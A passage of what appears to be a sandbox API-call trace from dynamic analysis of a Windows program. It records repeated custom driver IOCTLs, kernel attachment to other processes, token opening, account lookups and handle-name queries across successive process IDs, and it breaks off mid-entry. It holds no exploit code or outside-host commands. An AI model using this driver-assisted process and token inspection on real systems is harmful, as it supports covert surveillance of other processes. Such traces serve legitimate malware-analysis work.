[0123.389] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.389] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020d7b30, HandleInformation=0x0) returned 0x0 [0123.389] ObOpenObjectByPointer (in: Object=0xfffffa80020d7b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.389] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x12 [0123.389] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.389] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.389] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.389] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.389] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.391] CloseHandle (hObject=0xc8) returned 1 [0123.391] CloseHandle (hObject=0xc0) returned 1 [0123.391] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.391] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.391] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.391] PsAcquireProcessExitSynchronization () returned 0x0 [0123.391] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880044355d0) [0123.391] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020caa70, HandleInformation=0x0) returned 0x0 [0123.391] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.391] PsReleaseProcessExitSynchronization () returned 0x2 [0123.391] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0123.391] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435508) returned 0x0 [0123.391] ObfDereferenceObject (Object=0xfffffa80020caa70) returned 0x1 [0123.391] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.391] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.391] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.391] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0123.391] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.391] PsAcquireProcessExitSynchronization () returned 0x0 [0123.391] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880044355d0) [0123.391] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020d0790, HandleInformation=0x0) returned 0x0 [0123.391] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.391] PsReleaseProcessExitSynchronization () returned 0x2 [0123.391] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0123.391] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.391] ObfDereferenceObject (Object=0xfffffa80020d0790) returned 0x1 [0123.392] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.392] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.392] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.392] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.392] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.392] PsAcquireProcessExitSynchronization () returned 0x0 [0123.392] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880044355d0) [0123.392] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.392] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.392] PsReleaseProcessExitSynchronization () returned 0x2 [0123.392] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0123.392] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.392] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.392] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.392] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.392] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaa0) returned 0xc0 [0123.392] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.392] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020f7380, HandleInformation=0x0) returned 0x0 [0123.392] ObOpenObjectByPointer (in: Object=0xfffffa80020f7380, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.392] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x12 [0123.392] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.392] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.392] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.392] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.392] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.394] CloseHandle (hObject=0xc8) returned 1 [0123.394] CloseHandle (hObject=0xc0) returned 1 [0123.394] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.394] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.394] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.394] PsAcquireProcessExitSynchronization () returned 0x0 [0123.394] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880044355d0) [0123.394] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002044750, HandleInformation=0x0) returned 0x0 [0123.394] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.394] PsReleaseProcessExitSynchronization () returned 0x2 [0123.394] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0123.394] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.394] ObfDereferenceObject (Object=0xfffffa8002044750) returned 0x1 [0123.394] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.394] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.394] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.394] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0123.394] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.394] PsAcquireProcessExitSynchronization () returned 0x0 [0123.394] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880044355d0) [0123.394] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002056c20, HandleInformation=0x0) returned 0x0 [0123.394] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.394] PsReleaseProcessExitSynchronization () returned 0x2 [0123.394] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0123.394] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.395] ObfDereferenceObject (Object=0xfffffa8002056c20) returned 0x1 [0123.395] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.395] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.395] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.395] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.395] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.395] PsAcquireProcessExitSynchronization () returned 0x0 [0123.395] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880044355d0) [0123.395] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.395] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.395] PsReleaseProcessExitSynchronization () returned 0x2 [0123.395] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0123.395] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.395] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.395] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.395] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.395] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xab0) returned 0xc0 [0123.395] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.395] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002115b30, HandleInformation=0x0) returned 0x0 [0123.395] ObOpenObjectByPointer (in: Object=0xfffffa8002115b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.395] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x12 [0123.395] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.395] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.395] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.395] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.395] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.397] CloseHandle (hObject=0xc8) returned 1 [0123.397] CloseHandle (hObject=0xc0) returned 1 [0123.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.397] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.397] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.397] PsAcquireProcessExitSynchronization () returned 0x0 [0123.397] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880044355d0) [0123.397] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020f7cb0, HandleInformation=0x0) returned 0x0 [0123.397] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.397] PsReleaseProcessExitSynchronization () returned 0x2 [0123.397] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0123.397] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.397] ObfDereferenceObject (Object=0xfffffa80020f7cb0) returned 0x1 [0123.397] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.397] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.397] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0123.397] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.398] PsAcquireProcessExitSynchronization () returned 0x0 [0123.398] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880044355d0) [0123.398] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a225b0, HandleInformation=0x0) returned 0x0 [0123.398] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.398] PsReleaseProcessExitSynchronization () returned 0x2 [0123.398] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0123.398] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.398] ObfDereferenceObject (Object=0xfffffa8001a225b0) returned 0x1 [0123.398] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.398] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.398] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.398] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.398] PsAcquireProcessExitSynchronization () returned 0x0 [0123.398] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880044355d0) [0123.398] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.398] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.398] PsReleaseProcessExitSynchronization () returned 0x2 [0123.398] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0123.398] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.398] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.398] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.398] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.398] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xac0) returned 0xc0 [0123.398] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.398] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002110630, HandleInformation=0x0) returned 0x0 [0123.398] ObOpenObjectByPointer (in: Object=0xfffffa8002110630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.398] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x12 [0123.398] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.398] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.398] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.399] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.399] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.400] CloseHandle (hObject=0xc8) returned 1 [0123.400] CloseHandle (hObject=0xc0) returned 1 [0123.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.400] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.400] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.400] PsAcquireProcessExitSynchronization () returned 0x0 [0123.400] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880044355d0) [0123.400] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020ceba0, HandleInformation=0x0) returned 0x0 [0123.400] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.400] PsReleaseProcessExitSynchronization () returned 0x2 [0123.400] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0123.400] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.400] ObfDereferenceObject (Object=0xfffffa80020ceba0) returned 0x1 [0123.400] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.400] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.400] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0123.400] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.400] PsAcquireProcessExitSynchronization () returned 0x0 [0123.400] KeStackAttachProcess (in: 